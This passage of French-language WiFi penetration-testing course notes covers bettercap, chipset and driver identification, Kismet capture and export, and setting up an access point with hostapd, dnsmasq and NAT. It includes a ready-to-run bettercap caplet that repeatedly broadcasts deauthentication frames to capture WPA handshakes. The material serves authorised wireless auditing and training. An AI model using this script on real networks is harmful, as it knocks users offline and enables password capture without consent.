  — Onglet WiFi pour la reconnaissance
  — Onglet Advanced pour les paramètres avancés
  — Omnibar pour les commandes directes

11.5 5. Scripts d'Automatisation

```
# Script de capture automatique
cat > wifi-scan.cap << EOF
# Activation du module WiFi
wifi.recon on

# Configuration de la capture
set wifi.handshakes.file handshakes.pcap
set wifi.handshakes.aggregate true

# Déauthentification périodique
ticker on
ticker.commands wifi.deauth ff:ff:ff:ff:ff:ff
ticker.period 30
EOF

# Exécution du script
sudo bettercap -caplet wifi-scan.cap
```

11.6 6. Commandes Avancées

```
# Filtrage des réseaux
set wifi.filter.channels 1,6,11
set wifi.filter.ssid SSID_CIBLE

# Configuration de l'interface
wifi.interface wlan0mon
wifi.channel 6

# Options de capture
set wifi.handshakes.aggregate true
set wifi.handshakes.strip false
```

11.7 7. Bonnes Pratiques

1. Vérifier la configuration de l'interface
2. Sauvegarder régulièrement les captures
3. Documenter les réseaux découverts
4. Utiliser des scripts pour l'automatisation
5. Surveiller les logs d'erreurs

11.8 8. Dépannage

```
# Vérification des logs
tail -f /var/log/bettercap.log

# Reset du module WiFi
wifi.recon off
wifi.clear
wifi.recon on

# Vérification de l'interface
iwconfig
sudo airmon-ng check kill
sudo airmon-ng start wlan0
```

12 Détermination des Chipsets et Pilotes WiFi

12.1 1. Méthodes d'Identification

- **Recherche en ligne**
  - WikiDevi/DeviWiki
  - Sites des fabricants
  - Forums spécialisés
- **Identification sous Linux**

```
    # Identifier le matériel USB
    lsusb

    # Vérifier les interfaces WiFi
    sudo airmon-ng

    # Consulter les logs kernel
    sudo dmesg | egrep "ieee80211|mac80211|cfg80211|wifi|wireless"

```

12.2 2. Exemple Pratique - Alfa AWUS036AC

```
# Identification avec lsusb
lsusb
# Résultat: ID 0bda:8812 Realtek Semiconductor Corp.

# Vérification avec airmon-ng
sudo airmon-ng
# Résultat: Driver: 88XXau, Chipset: RTL8812AU
```

12.3 3. Identification sous Windows

- **Gestionnaire de périphériques**
  - Propriétés du périphérique
  - Section "Hardware IDs"
  - Format : USB\&PID_xxxx
- **Fichiers Pilotes Windows**
  - Extensions importantes :
    - .cat - Fichiers catalogue
    - .inf - Fichiers d'information
    - .sys - Fichiers système

12.4 4. Installation du Pilote

```
# Installation via apt (méthode recommandée)
sudo apt install realtek-rtl88xxau-dkms

# Alternative: Installation depuis GitHub
git clone https://github.com/aircrack-ng/rtl8812au
cd rtl8812au
make
sudo make install
```

12.5 5. Points Importants

1. Vérifier la compatibilité du mode moniteur
2. Noter les identifiants matériels (VID/-PID)
3. Sauvegarder les pilotes fonctionnels
4. Documenter les problèmes rencontrés
5. Tester après chaque mise à jour kernel

12.6 6. Dépannage

```
# Vérifier le chargement du module
lsmod | grep 88XXau

# Recharger le module
sudo modprobe -r 88XXau
sudo modprobe 88XXau

# Vérifier les erreurs
dmesg | tail
```

13 Utilisation Détaillée de Kismet

13.1 1. Installation et Configuration Initiale

```
# Installation de Kismet
sudo apt update
sudo apt install kismet

# Configuration du groupe kismet
sudo usermod -aG kismet $USER

# Configuration initiale
sudo nano /etc/kismet/kismet.conf
# Paramètres importants:
# - log_prefix=/var/log/kismet/
# - log_types=pcapng,kismet,kismetdb
```

13.2 2. Lancement de Kismet

```
# Lancement basique
kismet

# Lancement avec interface spécifique
kismet -c wlan0

# Lancement avec plusieurs interfaces
kismet -c wlan0 -c wlan1

# Lancement en mode daemon
kismet --daemon

# Lancement avec configuration personnalisée
kismet -f mon.conf
```

13.3 3. Commandes de Base dans l'Interface Web

— **Accès Interface Web**

```
    # URL par défaut
    http://localhost:2501
    # Credentials par défaut
    # User: kismet
    # Password: (généré dans ~/.kismet/kismet_httpd.conf)

```

— **Options de Capture**

```
    # Configuration du hopping
    kismet -c wlan0:hop=true

    # Canal fixe
    kismet -c wlan0:channel=6

    # Vitesse de hopping personnalisée
    kismet -c wlan0:hop_rate=1/sec

```

13.4 4. Commandes Avancées

```
# Capture avec options avancées
kismet -c wlan0:name=primary,hop=true,channels="1,6,11" \
       -c wlan1:name=secondary,channel=6

# Configuration du logging
kismet --log-prefix="/path/to/logs" \
       --log-types=pcapng,kismet,kismetdb \
       --log-title="Audit_WiFi"

# Options de filtrage
kismet --filter-tracker=device_filter.txt \
       --filter-window=60 \
       --strong-source=true
```

13.5 5. Scripts et Automatisation

```
# Script de lancement automatisé
cat > start_kismet.sh << EOF
#!/bin/bash
DATE=$(date +%Y%m%d)
```

```
kismet -c wlan0:name=monitor,hop=true \
        --log-prefix="/logs/$DATE" \
        --log-types=pcapng,kismetdb \
        --daemon
EOF
chmod +x start_kismet.sh

# Surveillance des logs en temps réel
tail -f /var/log/kismet/kismet.log
```

13.6 6. Commandes de l'Interface CLI

- **Raccourcis Clavier**
  - h : Aide
  - q : Quitter
  - s : Statistiques
  - c : Configuration
  - p : Pause/Reprise capture
- **Commandes de Filtrage**

```
    # Filtrer par SSID
    filter ssid=MonReseau

    # Filtrer par BSSID
    filter bssid
   =00:11:22:33:44:55

    # Filtrer par canal
    filter channel=6

```

13.7 7. Dépannage

```
# Vérification des interfaces
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Vérification des logs
tail -f /var/log/kismet/kismet.log

# Reset de la configuration
rm -rf ~/.kismet/
kismet_server -s
```

13.8 8. Bonnes Pratiques

1. Vérifier les permissions avant le lancement
2. Utiliser des noms explicites pour les sources
3. Configurer le logging approprié
4. Surveiller l'utilisation des ressources
5. Sauvegarder régulièrement la configuration
6. Documenter les sessions de capture

13.9 1. Conversion en Format PCAP/PcapNg

```
# Lister les sources de données dans un fichier Kismet
kismetdb_to_pcap --in Kismet-20200917-18-45-34-1.kismet --list-datasources
# Résultat:
# Datasource #0 (5FE308BD-0000-0000-0000-26C65C9CEA7A wlan0 wlan0) 104 packets
#    DLT 127: IEEE802_11_RADIO 802.11 plus radiotap header

# Conversion en format PcapNg avec verbosité
kismetdb_to_pcap --in Kismet-20200917-18-45-34-1.kismet --out sample.pcapng --verbose
```

13.10 2. Exportation en Format JSON

```
# Conversion des données en JSON avec options avancées
kismetdb_dump_devices --in /var/log/kismet/Kismet-20200917-17-45-17-1.kismet \
                      --out sample.json \
                      --skip-clean \
                      --verbose

# Options supplémentaires disponibles:
# --json-path : Format spécifique pour Elastic Stack
# --ekjson : Format compatible Elastic Stack
```

13.11 3. Points Importants

- **Commande VACUUM SQL**

- Optimisation automatique de la base SQLite
- Nécessite des droits d'écriture
- Peut être contourné avec –skip-clean
- Alternative : exécuter avec sudo

— **Formats d'Export**
- PCAP/PcapNg pour analyse avec Wireshark
- JSON pour traitement avec :
  - Elastic Stack
  - Scripts Python personnalisés
  - Outil jq (manipulation JSON)

13.12 4. Bonnes Pratiques

1. Vérifier les sources de données avant export
2. Utiliser l'option –verbose pour suivre la progression
3. Considérer –skip-clean si problèmes de permissions
4. Adapter le format selon l'outil d'analyse final
5. Documenter les conversions effectuées

13.13 5. Dépannage

— **Problèmes de Permissions**

```
# Utiliser sudo si nécessaire
sudo kismetdb_dump_devices --in fichier.kismet --out export.json

# Ou utiliser --skip-clean
kismetdb_dump_devices --in fichier.kismet --out export.json --skip-clean
```

— **Vérification des Fichiers**

```
# Vérifier la taille du fichier exporté
ls -lh export.json

# Valider le format JSON
jq '.' export.json > /dev/null
```

14 Connexions Réseau Manuelles

14.1 1. Configuration d'un Point d'Accès

14.1.1 Configuration de base

```
# Configuration de l'interface
sudo ip addr add 10.0.0.1/24 dev wlan0

# Activation de l'interface
sudo ip link set wlan0 up
```

14.1.2 Configuration DHCP et DNS

```
# Installation de dnsmasq
sudo apt install dnsmasq

# Configuration de dnsmasq
cat > dnsmasq.conf << EOF
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
EOF

# Lancement de dnsmasq
sudo dnsmasq -C dnsmasq.conf -d
```

14.1.3 Configuration du Routage

```
# Activation du forwarding IP
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Configuration NAT avec nftables
sudo nft add table nat
sudo nft 'add chain nat postrouting { type nat hook postrouting priority 100 ; }'
sudo nft add rule ip nat postrouting oifname "eth0" ip daddr != 10.0.0.1/24 masquerade
```

14.1.4 Configuration du Point d'Accès

```
# Configuration hostapd
cat > hostapd.conf << EOF
interface=wlan0
ssid=BTTF
channel=11
hw_mode=g
ieee80211n=1
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=GreatScott
EOF

# Lancement de hostapd
sudo hostapd hostapd.conf

# Lancement en arrière-plan
sudo hostapd -B hostapd.conf
```

14.2 2. Points Clés

- **Prérequis**
  - Interface WiFi compatible mode AP
  - Désactivation des gestionnaires réseau
  - Droits administrateur
- **Services Essentiels**
  - dnsmasq : DHCP et DNS
  - hostapd : Point d'accès WiFi
  - nftables : NAT et routage
- **Sécurité**
  - WPA2-PSK avec CCMP
  - Isolation des réseaux
  - Logging des requêtes

14.3 3. Bonnes Pratiques

1. Vérifier la compatibilité du matériel
2. Documenter la configuration
3. Tester la connectivité
4. Surveiller les logs
5. Sécuriser l'accès
6. Maintenir les services à jour

15 Architectures Réseau Sans Fil

15.1 1. Types d'Architectures

- **Infrastructure**
  - Mode standard avec point d'accès central
  - Communication client-AP uniquement
  - Topologie en étoile
- **WDS (Wireless Distribution System)**
  - Extension de couverture sans fil
  - Communication AP-AP possible
  - Backhaul sans fil entre APs
- **Ad-Hoc**
  - Communication directe entre clients
  - Pas de point d'accès central
  - Topologie dynamique
- **Mesh**
  - Réseau maillé auto-organisé
  - Multiple chemins possibles
  - Routage dynamique

15.2 2. Modes de Sécurité

- **Mesh Peering Management (MPM)**
  - Appairage non sécurisé
  - Vulnérable aux attaques
- **Authenticated Mesh Peering Exchange (AMPE)**
  - SAE (Simultaneous Authentication of Equals)
  - 802.1X avec serveur d'authentification

15.3 3. Wi-Fi Direct

- Communication P2P directe
- WPS avec WPA2
- Applications :
  - Impression
  - Partage de fichiers
  - Affichage (Miracast)
  - Jeux
  - Partage Internet

15.4 4. Mode Moniteur

```
# Activation du mode moniteur
sudo airmon-ng start wlan0

# Vérification
iwconfig wlan0mon

# Capture de paquets
sudo tcpdump -i wlan0mon -n
```

15.5 5. Points Importants pour les Tests

1. Identifier l'architecture réseau
2. Comprendre le routage utilisé
3. Vérifier les modes de sécurité
4. Tester les différents chemins possibles
5. Documenter la topologie découverte

15.6 6. Bonnes Pratiques

— Cartographier le réseau avant les tests
— Identifier les points faibles de l'architecture
— Tester tous les chemins possibles
— Vérifier les protocoles de sécurité
— Documenter les vulnérabilités architecturales